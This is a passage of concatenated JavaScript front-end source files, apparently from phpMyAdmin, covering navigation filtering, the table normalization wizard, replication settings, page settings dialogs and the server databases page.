}); $curr.children('ul').children('li').children('a').not('.container').each(function () { if (regex.test($(this).text())) { $(this).parent().show().removeClass('hidden'); } else { $(this).parent().hide().addClass('hidden'); } }); }; itemFilter(outerContainer); // hides containers that does not have any visible children var containerFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { var $group = $(this); $group.children('div.list_container').each(function () { containerFilter($(this)); // recursive }); $group.show().removeClass('hidden'); if ($group.children('div.list_container').children('ul') .children('li').not('.hidden').length === 0) { $group.hide().addClass('hidden'); } }); }; containerFilter(outerContainer); if ($(this).val() !== this.defaultValue && $(this).val() !== '') { if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val()) ); } else { if (event.keyCode === 13) { $obj.data('fastFilter').update($(this).val()); } } } else if ($obj.data('fastFilter')) { $obj.data('fastFilter').restore(true); } // update filter state var filterName; if ($(this).attr('name') === 'searchClause2') { filterName = $(this).siblings('input[name=aPath]').val(); } else { filterName = 'dbFilter'; } Navigation.filterStateUpdate(filterName, $(this).val()); }, clear: function (event) { event.stopPropagation(); // Clear the input and apply the fast filter with empty input var filter = $(this).closest('div.list_container').data('fastFilter'); if (filter) { filter.restore(); } var value = $(this).prev()[0].defaultValue; $(this).prev().val(value).trigger('keyup'); } } }; /** * Handles a change in the search clause * * @param {string} searchClause The query string for the filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.update = function (searchClause) { if (this.searchClause !== searchClause) { this.searchClause = searchClause; this.request(); } }; /** * After a delay of 250mS, initiates a request to retrieve search results * Multiple calls to this function will always abort the previous request * * @return {void} */ Navigation.FastFilter.Filter.prototype.request = function () { var self = this; if (self.$this.find('li.fast_filter').find('img.throbber').length === 0) { self.$this.find('li.fast_filter').append( $('
          ').append( $('#pma_navigation_content') .find('img.throbber') .clone() .css({ visibility: 'visible', display: 'block' }) ) ); } if (self.xhr) { self.xhr.abort(); } var params = self.$this.find('> ul > li > form.fast_filter').first().serialize(); if (self.$this.find('> ul > li > form.fast_filter').first().find('input[name=searchClause]').length === 0) { var $input = $('#pma_navigation_tree').find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent($input.val()); } } self.xhr = $.ajax({ url: 'index.php?route=/navigation&ajax_request=1&server=' + CommonParams.get('server'), type: 'post', dataType: 'json', data: params, complete: function (jqXHR, status) { if (status !== 'abort') { var data = JSON.parse(jqXHR.responseText); self.$this.find('li.fast_filter').find('div.throbber').remove(); if (data && data.results) { self.swap.apply(self, [data.message]); } } } }); }; /** * Replaces the contents of the navigation branch with the search results * * @param {string} list The search results * * @return {void} */ Navigation.FastFilter.Filter.prototype.swap = function (list) { this.$this .html($(list).html()) .children() .show() .end() .find('li.fast_filter input.searchClause') .val(this.searchClause); this.$this.data('fastFilter', this); }; /** * Restores the navigation to the original state after the fast filter is cleared * * @param {boolean} focus Whether to also focus the input box of the fast filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.restore = function (focus) { if (this.$this.children('ul').first().hasClass('search_results')) { this.$this.html(this.$clone.html()).children().show(); this.$this.data('fastFilter', this); if (focus) { this.$this.find('li.fast_filter input.searchClause').trigger('focus'); } } this.searchClause = ''; this.$this.find('div.pageselector').show(); this.$this.find('div.throbber').remove(); }; /** * Show full name when cursor hover and name not shown completely * * @param {object} $containerELem Container element * * @return {void} */ Navigation.showFullName = function ($containerELem) { $containerELem.find('.hover_show_full').on('mouseenter', function () { /** mouseenter */ var $this = $(this); var thisOffset = $this.offset(); if ($this.text() === '') { return; } var $parent = $this.parent(); if (($parent.offset().left + $parent.outerWidth()) < (thisOffset.left + $this.outerWidth())) { var $fullNameLayer = $('#full_name_layer'); if ($fullNameLayer.length === 0) { $('body').append('
          '); $('#full_name_layer').on('mouseleave', function () { /** mouseleave */ $(this).addClass('hide') .removeClass('hovering'); }).on('mouseenter', function () { /** mouseenter */ $(this).addClass('hovering'); }); $fullNameLayer = $('#full_name_layer'); } $fullNameLayer.removeClass('hide'); $fullNameLayer.css({ left: thisOffset.left, top: thisOffset.top }); $fullNameLayer.html($this.clone()); setTimeout(function () { if (! $fullNameLayer.hasClass('hovering')) { $fullNameLayer.trigger('mouseleave'); } }, 200); } }); }; src/normalization.js000066600000071527151724472050010606 0ustar00/** * @fileoverview events handling from normalization page * @name normalization * * @requires jQuery */ // eslint-disable-next-line no-unused-vars /* global centralColumnList:writable */ // js/functions.js /** * AJAX scripts for normalization * */ var normalizeto = '1nf'; var primaryKey; var dataParsed = null; function appendHtmlColumnsList () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'getColumns': true }, function (data) { if (data.success === true) { $('select[name=makeAtomic]').html(data.message); } } ); } function goTo3NFStep1 (newTables) { var tables = newTables; if (Object.keys(tables).length === 1) { tables = [CommonParams.get('table')]; } $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'tables': tables, 'step': '3.1' }, function (data) { $('#page_content').find('h3').html(Messages.str3NFNormalization); $('#mainContent').find('legend').html(data.legendText); $('#mainContent').find('h4').html(data.headText); $('#mainContent').find('p').html(data.subText); $('#mainContent').find('#extra').html(data.extra); $('#extra').find('form').each(function () { var formId = $(this).attr('id'); var colName = $(this).data('colname'); $('#' + formId + ' input[value=\'' + colName + '\']').next().remove(); $('#' + formId + ' input[value=\'' + colName + '\']').remove(); }); $('#mainContent').find('#newCols').html(''); $('.tblFooters').html(''); if (data.subText !== '') { $('') .attr({ type: 'button', value: Messages.strDone, class: 'btn btn-primary' }) .on('click', function () { processDependencies('', true); }) .appendTo('.tblFooters'); } } ); } function goTo2NFStep1 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step': '2.1' }, function (data) { $('#page_content h3').html(Messages.str2NFNormalization); $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); if (data.subText !== '') { $('') .attr({ type: 'submit', value: Messages.strDone, class: 'btn btn-primary' }) .on('click', function () { processDependencies(data.primary_key); }) .appendTo('.tblFooters'); } else { if (normalizeto === '3nf') { $('#mainContent #newCols').html(Messages.strToNextStep); setTimeout(function () { goTo3NFStep1([CommonParams.get('table')]); }, 3000); } } }); } function goToFinish1NF () { if (normalizeto !== '1nf') { goTo2NFStep1(); return true; } $('#mainContent legend').html(Messages.strEndStep); $('#mainContent h4').html( '

          ' + Functions.sprintf(Messages.strFinishMsg, Functions.escapeHtml(CommonParams.get('table'))) + '

          ' ); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); } // eslint-disable-next-line no-unused-vars function goToStep4 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step4': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled','disabled'); } } ); } function goToStep3 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step3': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); primaryKey = JSON.parse(data.primary_key); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled','disabled'); } } ); } function goToStep2 (extra) { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step2': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra,#mainContent #newCols').html(''); $('.tblFooters').html(''); if (data.hasPrimaryKey === '1') { if (extra === 'goToStep3') { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); } if (extra === 'goToFinish1NF') { goToFinish1NF(); } else { setTimeout(function () { goToStep3(); }, 3000); } } else { // form to select columns to make primary $('#mainContent #extra').html(data.extra); } } ); } function goTo2NFFinish (pd) { var tables = {}; for (var dependson in pd) { tables[dependson] = $('#extra input[name="' + dependson + '"]').val(); } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'newTablesName':JSON.stringify(tables), 'createNewTables2NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { if (normalizeto === '3nf') { $('#pma_navigation_reload').trigger('click'); goTo3NFStep1(tables); return true; } $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } function goTo3NFFinish (newTables) { for (var table in newTables) { for (var newtbl in newTables[table]) { var updatedname = $('#extra input[name="' + newtbl + '"]').val(); newTables[table][updatedname] = newTables[table][newtbl]; if (updatedname !== newtbl) { delete newTables[table][newtbl]; } } } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'newTables':JSON.stringify(newTables), 'createNewTables3NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } var backup = ''; function goTo2NFStep2 (pd, primaryKey) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 2.2 ' + Messages.strConfirmPd); $('#mainContent h4').html(Messages.strSelectedPd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
          '; var pdFound = false; for (var dependson in pd) { if (dependson !== primaryKey) { pdFound = true; extra += '

          ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

          '; } } if (!pdFound) { extra += '

          ' + Messages.strNoPdSelected + '

          '; extra += '
          '; } else { extra += '
          '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables2NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { extra += data.message; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo2NFFinish').on('click', function () { goTo2NFFinish(pd); }); } function goTo3NFStep2 (pd, tablesTds) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 3.2 ' + Messages.strConfirmTd); $('#mainContent h4').html(Messages.strSelectedTd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
          '; var pdFound = false; for (var table in tablesTds) { for (var i in tablesTds[table]) { var dependson = tablesTds[table][i]; if (dependson !== '' && dependson !== table) { pdFound = true; extra += '

          ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

          '; } } } if (!pdFound) { extra += '

          ' + Messages.strNoTdSelected + '

          '; extra += '
          '; } else { extra += '
          '; var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'tables': JSON.stringify(tablesTds), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'getNewTables3NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { dataParsed = data; if (data.success === true) { extra += dataParsed.html; } else { Functions.ajaxShowMessage(data.error, false); } } }); } $('#mainContent #extra').html(extra); $('.tblFooters').html(''); $('#goTo3NFFinish').on('click', function () { if (!pdFound) { goTo3NFFinish([]); } else { goTo3NFFinish(dataParsed.newTables); } }); } function processDependencies (primaryKey, isTransitive) { var pk = primaryKey; var pd = {}; var tablesTds = {}; var dependsOn; pd[pk] = []; $('#extra form').each(function () { var tblname; if (isTransitive === true) { tblname = $(this).data('tablename'); pk = tblname; if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } tablesTds[tblname].push(pk); } var formId = $(this).attr('id'); $('#' + formId + ' input[type=checkbox]:not(:checked)').prop('checked', false); dependsOn = ''; $('#' + formId + ' input[type=checkbox]:checked').each(function () { dependsOn += $(this).val() + ', '; $(this).attr('checked','checked'); }); if (dependsOn === '') { dependsOn = pk; } else { dependsOn = dependsOn.slice(0, -2); } if (! (dependsOn in pd)) { pd[dependsOn] = []; } pd[dependsOn].push($(this).data('colname')); if (isTransitive === true) { if (!(tblname in tablesTds)) { tablesTds[tblname] = []; } if ($.inArray(dependsOn, tablesTds[tblname]) === -1) { tablesTds[tblname].push(dependsOn); } } }); backup = $('#mainContent').html(); if (isTransitive === true) { goTo3NFStep2(pd, tablesTds); } else { goTo2NFStep2(pd, pk); } return false; } function moveRepeatingGroup (repeatingCols) { var newTable = $('input[name=repeatGroupTable]').val(); var newColumn = $('input[name=repeatGroupColumn]').val(); if (!newTable) { $('input[name=repeatGroupTable]').trigger('focus'); return false; } if (!newColumn) { $('input[name=repeatGroupColumn]').trigger('focus'); return false; } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'repeatingColumns': repeatingCols, 'newTable':newTable, 'newColumn':newColumn, 'primary_columns':primaryKey.toString() }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { goToStep3(); } Functions.ajaxShowMessage(data.message, false); $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } AJAX.registerTeardown('normalization.js', function () { $('#extra').off('click', '#selectNonAtomicCol'); $('#splitGo').off('click'); $('.tblFooters').off('click', '#saveSplit'); $('#extra').off('click', '#addNewPrimary'); $('.tblFooters').off('click', '#saveNewPrimary'); $('#extra').off('click', '#removeRedundant'); $('#mainContent p').off('click', '#createPrimaryKey'); $('#mainContent').off('click', '#backEditPd'); $('#mainContent').off('click', '#showPossiblePd'); $('#mainContent').off('click', '.pickPd'); }); AJAX.registerOnload('normalization.js', function () { var selectedCol; normalizeto = $('#mainContent').data('normalizeto'); $('#extra').on('click', '#selectNonAtomicCol', function () { if ($(this).val() === 'no_such_col') { goToStep2(); } else { selectedCol = $(this).val(); } }); $('#splitGo').on('click', function () { if (!selectedCol || selectedCol === '') { return false; } var numField = $('#numField').val(); $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'splitColumn': true, 'numFields': numField }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('') .attr({ type: 'submit', id: 'saveSplit', value: Messages.strSave, class: 'btn btn-primary' }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }) .appendTo('.tblFooters'); } } ); return false; }); $('.tblFooters').on('click','#saveSplit', function () { centralColumnList = []; if ($('#newCols #field_0_1').val() === '') { $('#newCols #field_0_1').trigger('focus'); return false; } var argsep = CommonParams.get('arg_separator'); var datastring = $('#newCols :input').serialize(); datastring += argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success) { $.post( 'index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'dropped_column': selectedCol, 'purge' : 1, 'sql_query': 'ALTER TABLE `' + CommonParams.get('table') + '` DROP `' + selectedCol + '`;', 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { appendHtmlColumnsList(); $('#newCols').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.error, false); } selectedCol = ''; } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#addNewPrimary', function () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'addNewPrimary': true }, function (data) { if (data.success === true) { $('#newCols').html(data.message); $('.default_value').hide(); $('.enum_notice').hide(); $('') .attr({ type: 'submit', id: 'saveNewPrimary', value: Messages.strSave, class: 'btn btn-primary' }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', id: 'cancelSplit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $(this).parent().html(''); }) .appendTo('.tblFooters'); } else { Functions.ajaxShowMessage(data.error, false); } } ); return false; }); $('.tblFooters').on('click', '#saveNewPrimary', function () { var datastring = $('#newCols :input').serialize(); var argsep = CommonParams.get('arg_separator'); datastring += argsep + 'field_key[0]=primary_0' + argsep + 'ajax_request=1' + argsep + 'do_save_data=1' + argsep + 'field_where=last'; $.post('index.php?route=/table/add-field', datastring, function (data) { if (data.success === true) { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); setTimeout(function () { goToStep3(); }, 2000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); $('#extra').on('click', '#removeRedundant', function () { var dropQuery = 'ALTER TABLE `' + CommonParams.get('table') + '` '; $('#extra input[type=checkbox]:checked').each(function () { dropQuery += 'DROP `' + $(this).val() + '`, '; }); dropQuery = dropQuery.slice(0, -2); $.post( 'index.php?route=/sql', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'sql_query': dropQuery, 'is_js_confirmed': 1 }, function (data) { if (data.success === true) { goToStep2('goToFinish1NF'); } else { Functions.ajaxShowMessage(data.error, false); } } ); }); $('#extra').on('click', '#moveRepeatingGroup', function () { var repeatingCols = ''; $('#extra input[type=checkbox]:checked').each(function () { repeatingCols += $(this).val() + ', '; }); if (repeatingCols !== '') { var newColName = $('#extra input[type=checkbox]:checked').first().val(); repeatingCols = repeatingCols.slice(0, -2); var confirmStr = Functions.sprintf(Messages.strMoveRepeatingGroup, Functions.escapeHtml(repeatingCols), Functions.escapeHtml(CommonParams.get('table'))); confirmStr += '' + '( ' + Functions.escapeHtml(primaryKey.toString()) + ', )' + ''; $('#newCols').html(confirmStr); $('') .attr({ type: 'submit', value: Messages.strCancel, class: 'btn btn-secondary' }) .on('click', function () { $('#newCols').html(''); $('#extra input[type=checkbox]').prop('checked', false); }) .appendTo('.tblFooters'); $('') .attr({ type: 'submit', value: Messages.strGo, class: 'btn btn-primary' }) .on('click', function () { moveRepeatingGroup(repeatingCols); }) .appendTo('.tblFooters'); } }); $('#mainContent p').on('click', '#createPrimaryKey', function (event) { event.preventDefault(); var url = { 'create_index': 1, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'added_fields': 1, 'add_fields':1, 'index': { 'Key_name':'PRIMARY' }, 'ajax_request': true }; var title = Messages.strAddPrimaryKey; Functions.indexEditorDialog(url, title, function () { // on success $('.sqlqueryresults').remove(); $('.result_query').remove(); $('.tblFooters').html(''); goToStep2('goToStep3'); }); return false; }); $('#mainContent').on('click', '#backEditPd', function () { $('#mainContent').html(backup); }); $('#mainContent').on('click', '#showPossiblePd', function () { if ($(this).hasClass('hideList')) { $(this).html('+ ' + Messages.strShowPossiblePd); $(this).removeClass('hideList'); $('#newCols').slideToggle('slow'); return false; } if ($('#newCols').html() !== '') { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').slideToggle('slow'); return false; } $('#newCols').insertAfter('#mainContent h4'); $('#newCols').html('
          ' + Messages.strLoading + '
          ' + Messages.strWaitForPd + '
          '); $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'findPdl': true }, function (data) { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').html(data.message); }); }); $('#mainContent').on('click', '.pickPd', function () { var strColsLeft = $(this).next('.determinants').html(); var colsLeft = strColsLeft.split(','); var strColsRight = $(this).next().next().html(); var colsRight = strColsRight.split(','); for (var i in colsRight) { $('form[data-colname="' + colsRight[i].trim() + '"] input[type="checkbox"]').prop('checked', false); for (var j in colsLeft) { $('form[data-colname="' + colsRight[i].trim() + '"] input[value="' + colsLeft[j].trim() + '"]').prop('checked', true); } } }); }); src/ol.mjs000066600000002033151724472050006471 0ustar00import { Attribution, MousePosition, Zoom } from 'ol/control.js'; import { createStringXY } from 'ol/coordinate.js'; import { boundingExtent } from 'ol/extent.js'; import { LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon } from 'ol/geom.js'; import { Tile, Vector as VectorLayer } from 'ol/layer.js'; import { fromLonLat, get, transformExtent } from 'ol/proj.js'; import { OSM, Vector as VectorSource } from 'ol/source.js'; import { Circle, Fill, Stroke, Style, Text } from 'ol/style.js'; import { Feature, Map, View } from 'ol'; const ol = { control: { Attribution, MousePosition, Zoom }, coordinate: { createStringXY }, extent: { boundingExtent }, geom: { LineString, LinearRing, MultiLineString, MultiPoint, MultiPolygon, Point, Polygon }, layer: { Tile, Vector: VectorLayer }, proj: { fromLonLat, get, transformExtent }, source: { OSM, Vector: VectorSource }, style: { Circle, Fill, Stroke, Style, Text }, Feature, Map, View } export default ol;src/page_settings.js000066600000004006151724472050010540 0ustar00/** * @fileoverview function used for page-related settings * @name Page-related settings * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ function showSettings (selector) { var buttons = { [Messages.strApply]: { text: Messages.strApply, class: 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary', }, }; buttons[Messages.strApply].click = function () { $('.config-form').trigger('submit'); }; buttons[Messages.strCancel].click = function () { $(this).dialog('close'); }; // Keeping a clone to restore in case the user cancels the operation var $clone = $(selector + ' .page_settings').clone(true); $(selector) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strPageSettings, width: 700, minHeight: 250, modal: true, open: function () { $(this).dialog('option', 'maxHeight', $(window).height() - $(this).offset().top); }, close: function () { $(selector + ' .page_settings').replaceWith($clone); }, buttons: buttons }); } function showPageSettings () { showSettings('#page_settings_modal'); } function showNaviSettings () { showSettings('#pma_navigation_settings'); } AJAX.registerTeardown('page_settings.js', function () { $('#page_settings_icon').css('display', 'none'); $('#page_settings_icon').off('click'); $('#pma_navigation_settings_icon').off('click'); }); AJAX.registerOnload('page_settings.js', function () { if ($('#page_settings_modal').length) { $('#page_settings_icon').css('display', 'inline'); $('#page_settings_icon').on('click', showPageSettings); } $('#pma_navigation_settings_icon').on('click', showNaviSettings); }); src/replication.js000066600000007333151724472050010223 0ustar00/** * @fileoverview Javascript functions used in server replication page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ var randomServerId = Math.floor(Math.random() * 10000000); var confPrefix = 'server-id=' + randomServerId + '\nlog_bin=mysql-bin\nlog_error=mysql-bin.err\n'; function updateConfig () { var confIgnore = 'binlog_ignore_db='; var confDo = 'binlog_do_db='; var databaseList = ''; if ($('#db_select option:selected').length === 0) { $('#rep').text(confPrefix); } else if ($('#db_type option:selected').val() === 'all') { $('#db_select option:selected').each(function () { databaseList += confIgnore + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } else { $('#db_select option:selected').each(function () { databaseList += confDo + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('replication.js', function () { $('#db_type').off('change'); $('#db_select').off('change'); $('#primary_status_href').off('click'); $('#primary_replicas_href').off('click'); $('#replica_status_href').off('click'); $('#replica_control_href').off('click'); $('#replica_errormanagement_href').off('click'); $('#replica_synchronization_href').off('click'); $('#db_reset_href').off('click'); $('#db_select_href').off('click'); $('#reset_replica').off('click'); }); AJAX.registerOnload('replication.js', function () { $('#rep').text(confPrefix); $('#db_type').on('change', updateConfig); $('#db_select').on('change', updateConfig); $('#primary_status_href').on('click', function () { $('#replication_primary_section').toggle(); }); $('#primary_replicas_href').on('click', function () { $('#replication_replicas_section').toggle(); }); $('#replica_status_href').on('click', function () { $('#replication_replica_section').toggle(); }); $('#replica_control_href').on('click', function () { $('#replica_control_gui').toggle(); }); $('#replica_errormanagement_href').on('click', function () { $('#replica_errormanagement_gui').toggle(); }); $('#replica_synchronization_href').on('click', function () { $('#replica_synchronization_gui').toggle(); }); $('#db_reset_href').on('click', function () { $('#db_select option:selected').prop('selected', false); $('#db_select').trigger('change'); }); $('#db_select_href').on('click', function () { $('#db_select option').prop('selected', true); $('#db_select').trigger('change'); }); $('#reset_replica').on('click', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strResetReplicaWarning; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var params = Functions.getJsConfirmCommonParam({ 'ajax_page_request': true, 'ajax_request': true }, $anchor.getPostData()); $.post(url, params, AJAX.responseHandler); }); }); $('#button_generate_password').on('click', function () { Functions.suggestPassword(this.form); }); $('#nopass_1').on('click', function () { this.form.pma_pw.value = ''; this.form.pma_pw2.value = ''; this.checked = true; }); $('#nopass_0').on('click', function () { document.getElementById('text_pma_change_pw').focus(); }); }); src/server/databases.js000066600000012263151724472050011145 0ustar00/** * @fileoverview functions used on the server databases list page * @name Server Databases * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/databases.js', function () { $(document).off('submit', '#dbStatsForm'); $(document).off('submit', '#create_database_form.ajax'); }); /** * AJAX scripts for /server/databases * * Actions ajaxified here: * Drop Databases * */ AJAX.registerOnload('server/databases.js', function () { /** * Attach Event Handler for 'Drop Databases' */ $(document).on('submit', '#dbStatsForm', function (event) { event.preventDefault(); var $form = $(this); /** * @var selected_dbs Array containing the names of the checked databases */ var selectedDbs = []; // loop over all checked checkboxes, except the .checkall_box checkbox $form.find('input:checkbox:checked:not(.checkall_box)').each(function () { $(this).closest('tr').addClass('removeMe'); selectedDbs[selectedDbs.length] = 'DROP DATABASE `' + Functions.escapeHtml($(this).val()) + '`;'; }); if (! selectedDbs.length) { Functions.ajaxShowMessage( $('').text( Messages.strNoDatabasesSelected ), 2000 ); return; } /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, selectedDbs.join('
          ')); const modal = $('#dropDatabaseModal'); modal.find('.modal-body').html(question); modal.modal('show'); const url = 'index.php?route=/server/databases/destroy&' + $(this).serialize(); $('#dropDatabaseModalDropButton').on('click', function () { Functions.ajaxShowMessage(Messages.strProcessingRequest, false); var parts = url.split('?'); var params = Functions.getJsConfirmCommonParam(this, parts[1]); $.post(parts[0], params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $rowsToRemove = $form.find('tr.removeMe'); var $databasesCount = $('#filter-rows-count'); var newCount = parseInt($databasesCount.text(), 10) - $rowsToRemove.length; $databasesCount.text(newCount); $rowsToRemove.remove(); $form.find('tbody').sortTable('.name'); if ($form.find('tbody').find('tr').length === 0) { // user just dropped the last db on this page CommonActions.refreshMain(); } Navigation.reload(); } else { $form.find('tr.removeMe').removeClass('removeMe'); Functions.ajaxShowMessage(data.error, false); } }); modal.modal('hide'); $('#dropDatabaseModalDropButton').off('click'); }); }); /** * Attach Ajax event handlers for 'Create Database'. */ $(document).on('submit', '#create_database_form.ajax', function (event) { event.preventDefault(); var $form = $(this); // TODO Remove this section when all browsers support HTML5 "required" property var newDbNameInput = $form.find('input[name=new_db]'); if (newDbNameInput.val() === '') { newDbNameInput.trigger('focus'); alert(Messages.strFormEmpty); return; } // end remove Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $databasesCountObject = $('#filter-rows-count'); var databasesCount = parseInt($databasesCountObject.text(), 10) + 1; $databasesCountObject.text(databasesCount); Navigation.reload(); // make ajax request to load db structure page - taken from ajax.js var dbStructUrl = data.url; dbStructUrl = dbStructUrl.replace(/amp;/ig, ''); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; $.get(dbStructUrl, params, AJAX.responseHandler); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end $(document).on() var tableRows = 